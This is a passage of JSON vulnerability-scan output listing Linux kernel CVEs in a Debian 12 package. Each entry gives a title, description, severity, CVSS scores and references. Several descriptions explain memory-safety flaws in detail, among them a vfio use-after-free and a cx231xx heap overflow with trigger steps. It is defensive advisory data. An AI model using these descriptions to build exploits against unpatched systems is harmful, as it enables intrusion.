"https://git.kernel.org/stable/c/0d4cb3af82556afc48f90fd3e8a126ff32343f41", "https://git.kernel.org/stable/c/28069434aef66b9d084f0609b7a29c171846815e", "https://git.kernel.org/stable/c/36bdd0b45ec3f4822832a56e9db8674c8450dfce", "https://git.kernel.org/stable/c/40fdee1cb4f18e6a1a21a891ae4735bcd4d35026", "https://git.kernel.org/stable/c/57bb24025f450728f342d8e08cd3909c89361d90", "https://git.kernel.org/stable/c/9124e078ea2250d8d01d2162a550acb01ef5bf48", "https://git.kernel.org/stable/c/9f1e40193eef7f047e6b77cfb4b4cafdecd7a123", "https://git.kernel.org/stable/c/b17c8f5dcb36a032688847b2bce4bd813b4baad1", "https://nvd.nist.gov/vuln/detail/CVE-2026-89761", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89761" ], "PublishedDate": "2026-09-11T20:20:07.243Z", "LastModifiedDate": "2026-10-30T13:20:28.5Z" }, { "VulnerabilityID": "CVE-2026-89777", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89777", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0f8a84bc69e79b8912e356ef4fef9492d9f60d31c07dfe38db0e9ec2298ec5bd", "Title": "kernel: vfio/pci: clear vdev-\u003emsi_perm after freeing it on init failure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvfio/pci: clear vdev-\u003emsi_perm after freeing it on init failure\n\nvfio_msi_cap_len() lazily allocates the per-device MSI permission table:\n\n\tvdev-\u003emsi_perm = kmalloc_obj(struct perm_bits, GFP_KERNEL_ACCOUNT);\n\tif (!vdev-\u003emsi_perm)\n\t\treturn -ENOMEM;\n\n\tret = init_pci_cap_msi_perm(vdev-\u003emsi_perm, len, flags);\n\tif (ret) {\n\t\tkfree(vdev-\u003emsi_perm);\n\t\treturn ret;\t\t/* vdev-\u003emsi_perm left dangling */\n\t}\n\nWhen init_pci_cap_msi_perm() -\u003e alloc_perm_bits() fails with -ENOMEM, the\nerror path frees vdev-\u003emsi_perm but leaves the freed pointer stored in\nit. vdev-\u003emsi_perm is not re-zeroed later because struct\nvfio_pci_core_device is per-device and persists across open/close cycles,\nand the vfio_config_init() error path returns without calling\nvfio_config_free(). So the dangling pointer outlives the failed open.\n\nThat leads to two use-after-frees on the same device:\n\n1. Reuse. The next vfio_config_init() sees the stale pointer at\n \"if (vdev-\u003emsi_perm) return len;\" and reuses the freed object. MSI\n config accesses in vfio_pci_config_rw_single() then dereference and\n call the freed perm-\u003ereadfn / perm-\u003ewritefn function pointers.\n\n2. Double free. A later vfio_config_free() runs free_perm_bits() and\n kfree() on the already-freed object.\n\nFix it by NULLing vdev-\u003emsi_perm after the kfree(), matching the\nNULL-after-free discipline already used in free_perm_bits() and\nvfio_config_free().\n\n BUG: KASAN: slab-use-after-free in vfio_pci_config_rw_single (drivers/vfio/pci/vfio_pci_config.c:1961)\n Read of size 8 at addr ffff88800fcc88d0 by task exploit/143\n Call Trace:\n ...\n kasan_report (mm/kasan/report.c:595)\n vfio_pci_config_rw_single (drivers/vfio/pci/vfio_pci_config.c:1961)\n vfio_pci_config_rw (drivers/vfio/pci/vfio_pci_config.c:1986)\n vfio_pci_rw (drivers/vfio/pci/vfio_pci_core.c:1599)\n vfs_read (fs/read_write.c:572)\n __x64_sys_pread64 (fs/read_write.c:764)\n do_syscall_64 (arch/x86/entry/syscall_64.c:94)\n ...\n\nFollowed on device close by a double free of the same object:\n\n Oops: general protection fault, probably for non-canonical address\n 0x1f63e0e8000008: 0000 [#1] SMP KASAN NOPTI\n RIP: 0010:kfree (mm/slub.c:6711)\n Call Trace:\n vfio_config_free (drivers/vfio/pci/vfio_pci_config.c:1861)\n vfio_pci_core_disable (drivers/vfio/pci/vfio_pci_core.c:685)\n vfio_pci_core_close_device (drivers/vfio/pci/vfio_pci_core.c:777)\n vfio_df_close (drivers/vfio/vfio_main.c:602)\n vfio_device_fops_release (drivers/vfio/vfio_main.c:648)\n __fput (fs/file_table.c:512)\n __x64_sys_close (fs/open.c:1496)\n do_syscall_64 (arch/x86/entry/syscall_64.c:94)\n ...\n Kernel panic - not syncing: Fatal exception", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89777", "https://access.redhat.com/errata/RHSA-2026:90365", "https://access.redhat.com/security/cve/CVE-2026-89777", "https://bugzilla.redhat.com/2348512", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2502376", "https://bugzilla.redhat.com/2502382", "https://bugzilla.redhat.com/2507098", "https://bugzilla.redhat.com/2507122", "https://bugzilla.redhat.com/2516251", "https://bugzilla.redhat.com/2516417", "https://bugzilla.redhat.com/2517006", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2535066", "https://bugzilla.redhat.com/2540323", "https://bugzilla.redhat.com/2546385", "https://bugzilla.redhat.com/2546494", "https://bugzilla.redhat.com/show_bug.cgi?id=2348512", "https://bugzilla.redhat.com/show_bug.cgi?id=2502255", "https://bugzilla.redhat.com/show_bug.cgi?id=2502376", "https://bugzilla.redhat.com/show_bug.cgi?id=2502382", "https://bugzilla.redhat.com/show_bug.cgi?id=2507098", "https://bugzilla.redhat.com/show_bug.cgi?id=2507122", "https://bugzilla.redhat.com/show_bug.cgi?id=2516251", "https://bugzilla.redhat.com/show_bug.cgi?id=2516417", "https://bugzilla.redhat.com/show_bug.cgi?id=2517006", "https://bugzilla.redhat.com/show_bug.cgi?id=2528642", "https://bugzilla.redhat.com/show_bug.cgi?id=2532122", "https://bugzilla.redhat.com/show_bug.cgi?id=2535066", "https://bugzilla.redhat.com/show_bug.cgi?id=2540323", "https://bugzilla.redhat.com/show_bug.cgi?id=2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2546494", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63978", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64523", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68476", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89777", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98320", "https://errata.almalinux.org/9/ALSA-2026-90365.html", "https://errata.rockylinux.org/RLSA-2026:90365", "https://git.kernel.org/linus/dc77acfeb979dded39b247b60fef0399536bfa77%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89777.mbox", "https://git.kernel.org/stable/c/25cdd2a492d868cff1e519a60fe282909c52d385", "https://git.kernel.org/stable/c/533d0c5feef85ee6404b9f41d5564fac6971a008", "https://git.kernel.org/stable/c/812f1db7f0755a19ef16ecdc5cec51bcabc5eda5", "https://git.kernel.org/stable/c/d665a1688af7f8fefd7c0eb04f2a37122ce007f4", "https://git.kernel.org/stable/c/dc77acfeb979dded39b247b60fef0399536bfa77", "https://git.kernel.org/stable/c/eb84cd81040e58dd05ac190f561f2115e3367249", "https://git.kernel.org/stable/c/f0eea8f9013676b42289ec35941e848b8a543e19", "https://git.kernel.org/stable/c/fda8fb7e8179561693a786a7af593f6b944a21c1", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-hnychtihtatx.toml", "https://linux.oracle.com/cve/CVE-2026-89777.html", "https://linux.oracle.com/errata/ELSA-2026-91565.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89777", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89777" ], "PublishedDate": "2026-09-16T09:17:08.073Z", "LastModifiedDate": "2026-10-19T09:18:20.933Z" }, { "VulnerabilityID": "CVE-2026-89811", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89811", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:739b12ebcf1e033d4e163e9b114e66bea65c95b08a0874531b6c9c6d1a0c91d7", "Title": "kernel: drm/amdkfd: Add TLB flush after MES queue eviction/suspension", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdkfd: Add TLB flush after MES queue eviction/suspension\n\nMES (Micro Engine Scheduler) does not perform heavy-weight TLB\ninvalidation after unmapping queues, unlike HWS which does this\nautomatically. This causes a race condition where in-flight DMA\ndescriptors can access memory that has been unmapped, leading to page\nfaults and GPU queue hangs during SVM page migration.\n\nThe issue manifests as KFDSVMRangeTest.MultiThreadMigrationTest\nfailures on gfx1151 (Strix Point) with XNACK mode 1 enabled - the GPU\ncompute queue hangs with packets submitted but never consumed.\n\nAdd kfd_flush_tlb() calls after MES queue removal in two locations:\n- evict_process_queues_cpsch(): after all queues removed during eviction\n- suspend_queues(): after debug/criu queue suspension (with mem_fence barrier)\n\nThis ensures all in-flight memory accesses from unmapped queues are\nflushed before memory is freed or migrated.\n\n(cherry picked from commit f5c4f88e0f9c45a8fb9dfac0c1df726c95e41b77)", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81552", "https://access.redhat.com/security/cve/CVE-2026-89811", "https://bugzilla.redhat.com/2486468", "https://bugzilla.redhat.com/2502397", "https://bugzilla.redhat.com/2507153", "https://bugzilla.redhat.com/2507218", "https://bugzilla.redhat.com/2513148", "https://bugzilla.redhat.com/2513287", "https://bugzilla.redhat.com/2513430", "https://bugzilla.redhat.com/2513451", "https://bugzilla.redhat.com/2516396", "https://bugzilla.redhat.com/2528788", "https://bugzilla.redhat.com/2535265", "https://bugzilla.redhat.com/2535309", "https://bugzilla.redhat.com/2535338", "https://bugzilla.redhat.com/show_bug.cgi?id=2486468", "https://bugzilla.redhat.com/show_bug.cgi?id=2502397", "https://bugzilla.redhat.com/show_bug.cgi?id=2507153", "https://bugzilla.redhat.com/show_bug.cgi?id=2507218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513148", "https://bugzilla.redhat.com/show_bug.cgi?id=2513287", "https://bugzilla.redhat.com/show_bug.cgi?id=2513430", "https://bugzilla.redhat.com/show_bug.cgi?id=2513451", "https://bugzilla.redhat.com/show_bug.cgi?id=2516396", "https://bugzilla.redhat.com/show_bug.cgi?id=2528788", "https://bugzilla.redhat.com/show_bug.cgi?id=2535265", "https://bugzilla.redhat.com/show_bug.cgi?id=2535309", "https://bugzilla.redhat.com/show_bug.cgi?id=2535338", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46309", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63925", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64507", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68123", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68245", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68278", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72318", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89970", "https://errata.almalinux.org/9/ALSA-2026-81552.html", "https://errata.rockylinux.org/RLSA-2026:81552", "https://git.kernel.org/linus/94e25cb6ab7f4f025bcdcd8ea79fda30f12843a4%20%287.3-rc2%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89811.mbox", "https://git.kernel.org/stable/c/5bbd7f283312d0209a0fedcc9d2d33b5afa5a7b1", "https://git.kernel.org/stable/c/6aae545c87087e4dc96e205452243813bfa73ba2", "https://git.kernel.org/stable/c/750cd793ee69c27faf17fb9c49f92f71716bbc8b", "https://git.kernel.org/stable/c/94e25cb6ab7f4f025bcdcd8ea79fda30f12843a4", "https://git.kernel.org/stable/c/bbf5ad5268f36d7ebb7e99ae78fc73cffe98d372", "https://git.kernel.org/stable/c/e230c546ed93741833ab5babb0b202f9c2052b45", "https://linux.oracle.com/cve/CVE-2026-89811.html", "https://linux.oracle.com/errata/ELSA-2026-88477.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89811", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89811" ], "PublishedDate": "2026-09-16T11:16:46.267Z", "LastModifiedDate": "2026-10-30T13:20:30.04Z" }, { "VulnerabilityID": "CVE-2026-89846", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89846", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4b9bd154b255181e94a176134906a6b052d72c8a67409585fd5d70b6d706c15c", "Title": "kernel: scsi: qla2xxx: Bound rsp_info_len to avoid OOB sense-data read", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: qla2xxx: Bound rsp_info_len to avoid OOB sense-data read\n\nIn qla2x00_status_entry(), the FWI2 status path advances sense_data and\nshrinks par_sense_len by rsp_info_len:\n\n\tif (IS_FWI2_CAPABLE(ha)) {\n\t\tsense_data += rsp_info_len;\n\t\tpar_sense_len -= rsp_info_len;\n\t}\n\nrsp_info_len is a 32-bit value taken directly from the target's FCP\nresponse (sf.rsp_data_len), while par_sense_len is the IOCB data area\nsize (28 bytes for 24xx, 60 bytes for 29xx). A hostile or buggy target\nreporting an rsp_info_len larger than par_sense_len makes the unsigned\nsubtraction underflow to a huge value and advances sense_data out of\nbounds.\n\nThe underflowed par_sense_len then defeats the cap in\nqla2x00_handle_sense():\n\n\tif (sense_len \u003e par_sense_len)\n\t\tsense_len = par_sense_len;\n\tmemcpy(cp-\u003esense_buffer, sense_data, sense_len);\n\nso the memcpy reads up to SCSI_SENSE_BUFFERSIZE bytes from the\nout-of-bounds sense_data pointer, leaking adjacent response-ring/heap\nmemory into the command's sense buffer.\n\nClamp rsp_info_len to par_sense_len before the subtraction so\npar_sense_len can never underflow and sense_data stays within the IOCB\ndata area. The fix sits before the comp_status switch, covering both\nqla2x00_handle_sense() call sites.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71232", "https://access.redhat.com/security/cve/CVE-2026-89846", "https://bugzilla.redhat.com/2432674", "https://bugzilla.redhat.com/2492381", "https://bugzilla.redhat.com/2502243", "https://bugzilla.redhat.com/2502251", "https://bugzilla.redhat.com/2502498", "https://bugzilla.redhat.com/2507134", "https://bugzilla.redhat.com/2507399", "https://bugzilla.redhat.com/2510890", "https://bugzilla.redhat.com/2513481", "https://bugzilla.redhat.com/2516527", "https://bugzilla.redhat.com/2528676", "https://bugzilla.redhat.com/2532176", "https://bugzilla.redhat.com/2535391", "https://bugzilla.redhat.com/show_bug.cgi?id=2432674", "https://bugzilla.redhat.com/show_bug.cgi?id=2492381", "https://bugzilla.redhat.com/show_bug.cgi?id=2502243", "https://bugzilla.redhat.com/show_bug.cgi?id=2502251", "https://bugzilla.redhat.com/show_bug.cgi?id=2502498", "https://bugzilla.redhat.com/show_bug.cgi?id=2507134", "https://bugzilla.redhat.com/show_bug.cgi?id=2507399", "https://bugzilla.redhat.com/show_bug.cgi?id=2510890", "https://bugzilla.redhat.com/show_bug.cgi?id=2513481", "https://bugzilla.redhat.com/show_bug.cgi?id=2516527", "https://bugzilla.redhat.com/show_bug.cgi?id=2517043", "https://bugzilla.redhat.com/show_bug.cgi?id=2528676", "https://bugzilla.redhat.com/show_bug.cgi?id=2532176", "https://bugzilla.redhat.com/show_bug.cgi?id=2535391", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63802", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63831", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64534", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64564", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68201", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89846", "https://errata.almalinux.org/9/ALSA-2026-71232.html", "https://errata.rockylinux.org/RLSA-2026:71232", "https://git.kernel.org/linus/ca6d880d6c70cb7946e7b3e05d7285f271b6d99e%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89846.mbox", "https://git.kernel.org/stable/c/125b12861c726e58448bb95d55b04851fb131d1f", "https://git.kernel.org/stable/c/6b08c0cb110a1fba92f99d655020198489699815", "https://git.kernel.org/stable/c/be75ab791c9b3baca66c70ce03443afebc83acda", "https://git.kernel.org/stable/c/ca6d880d6c70cb7946e7b3e05d7285f271b6d99e", "https://git.kernel.org/stable/c/d7f7746ff031ae45724881261804f4bf5317c985", "https://git.kernel.org/stable/c/e57ace988bda5693f7b3645f652ea4b4220870ee", "https://git.kernel.org/stable/c/ebc41dfc59d190956e0113e8bd90c28f6f21e8b9", "https://git.kernel.org/stable/c/f6e8977bce887481b2b2b0e2e14a791270741cfb", "https://linux.oracle.com/cve/CVE-2026-89846.html", "https://linux.oracle.com/errata/ELSA-2026-71233.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89846", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89846" ], "PublishedDate": "2026-09-16T11:16:51.853Z", "LastModifiedDate": "2026-10-19T09:18:28.607Z" }, { "VulnerabilityID": "CVE-2026-89894", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89894", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1957e47cbfa476f83493d3c86d5f0716e73ec2b5462a755a80215ccab9c1b5d0", "Title": "kernel: media: cx231xx: reject geometry changes while the VBI queue is busy", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: cx231xx: reject geometry changes while the VBI queue is busy\n\nvidioc_s_fmt_vid_cap() and vidioc_s_std() change the device-wide\ndev-\u003ewidth / dev-\u003enorm but only refuse the change when the *video* queue\n(dev-\u003evidq) is busy. The VBI queue (dev-\u003evbiq) shares that same geometry:\ncx231xx_init_vbi_isoc() latches dma_q-\u003elines_per_field from dev-\u003enorm,\nthe VBI videobuf2 plane is sized from dev-\u003ewidth / dev-\u003enorm in\nvbi_queue_setup() and vbi_buf_prepare(), and cx231xx_do_vbi_copy() then\nrecomputes the destination offset from the *live* dev-\u003ewidth and the\nlatched lines_per_field on every URB completion:\n\n\toffset = lines_completed * (dev-\u003ewidth \u003c\u003c 1) + ...;\n\tif (dma_q-\u003ecurrent_field == 2)\n\t\toffset += dev-\u003ewidth * 2 * dma_q-\u003elines_per_field;\n\tmemcpy(plane + offset, p_buffer, lencopy);\n\nBecause the VBI node shares video_ioctl_ops with the video node, an\napplication can size a small VBI plane (REQBUFS/QBUF with a small width,\nor with the NTSC standard), then enlarge dev-\u003ewidth (or switch dev-\u003enorm\nto PAL) through the video node while the VBI stream is running -- the\nchange is allowed because only dev-\u003evidq is checked -- and let the device\ndeliver a field-2 VBI payload. cx231xx_do_vbi_copy() now computes the\noffset with the larger geometry and memcpy()s past the end of the smaller\nplane that was already allocated, a heap out-of-bounds write whose offset\nis attacker-chosen and whose contents come from the device. The\nper-field guard in cx231xx_copy_vbi_line() does not help: it bounds the\ncopy against the latched lines_per_field, not the plane's real capacity,\nand vb2 does not re-run buf_prepare() for an already prepared buffer.\n\nRefuse the format/standard change when the VBI queue is busy as well, so\nthe geometry cannot change underneath an allocated VBI buffer.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81552", "https://access.redhat.com/security/cve/CVE-2026-89894", "https://bugzilla.redhat.com/2486468", "https://bugzilla.redhat.com/2502397", "https://bugzilla.redhat.com/2507153", "https://bugzilla.redhat.com/2507218", "https://bugzilla.redhat.com/2513148", "https://bugzilla.redhat.com/2513287", "https://bugzilla.redhat.com/2513430", "https://bugzilla.redhat.com/2513451", "https://bugzilla.redhat.com/2516396", "https://bugzilla.redhat.com/2528788", "https://bugzilla.redhat.com/2535265", "https://bugzilla.redhat.com/2535309", "https://bugzilla.redhat.com/2535338", "https://bugzilla.redhat.com/show_bug.cgi?id=2486468", "https://bugzilla.redhat.com/show_bug.cgi?id=2502397", "https://bugzilla.redhat.com/show_bug.cgi?id=2507153", "https://bugzilla.redhat.com/show_bug.cgi?id=2507218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513148", "https://bugzilla.redhat.com/show_bug.cgi?id=2513287", "https://bugzilla.redhat.com/show_bug.cgi?id=2513430", "https://bugzilla.redhat.com/show_bug.cgi?id=2513451", "https://bugzilla.redhat.com/show_bug.cgi?id=2516396", "https://bugzilla.redhat.com/show_bug.cgi?id=2528788", "https://bugzilla.redhat.com/show_bug.cgi?id=2535265", "https://bugzilla.redhat.com/show_bug.cgi?id=2535309", "https://bugzilla.redhat.com/show_bug.cgi?id=2535338", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46309", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63925", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64507", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68123", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68245", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68278", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72318", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89970", "https://errata.almalinux.org/9/ALSA-2026-81552.html", "https://errata.rockylinux.org/RLSA-2026:81552", "https://git.kernel.org/linus/627a121c15fe05a541f44d86016294b80bada75d%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89894.mbox", "https://git.kernel.org/stable/c/1d1079db8d1807e259a1d2679ed314949797aad9", "https://git.kernel.org/stable/c/54ac6df8b8d97eddc3ae97fd2045bdedc8541b6d", "https://git.kernel.org/stable/c/627a121c15fe05a541f44d86016294b80bada75d", "https://git.kernel.org/stable/c/7087bef6510c7df5df0b19192633b8ecc0f33a6f", "https://git.kernel.org/stable/c/90d50648af36a1fbf5dbc99238de6fd0e58a13e0", "https://git.kernel.org/stable/c/a5dd3d7fba358ff9486f3f51b2a9038348c0970a", "https://git.kernel.org/stable/c/a636c72c7f522d984fa498fc0631f33a2d0be3fd", "https://git.kernel.org/stable/c/aa3314506deb9703bcf0e889db08959440228fbf", "https://linux.oracle.com/cve/CVE-2026-89894.html", "https://linux.oracle.com/errata/ELSA-2026-83207.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89894", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89894" ], "PublishedDate": "2026-09-16T11:16:58.127Z", "LastModifiedDate": "2026-10-19T09:18:34.557Z" }, { "VulnerabilityID": "CVE-2026-89932", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": 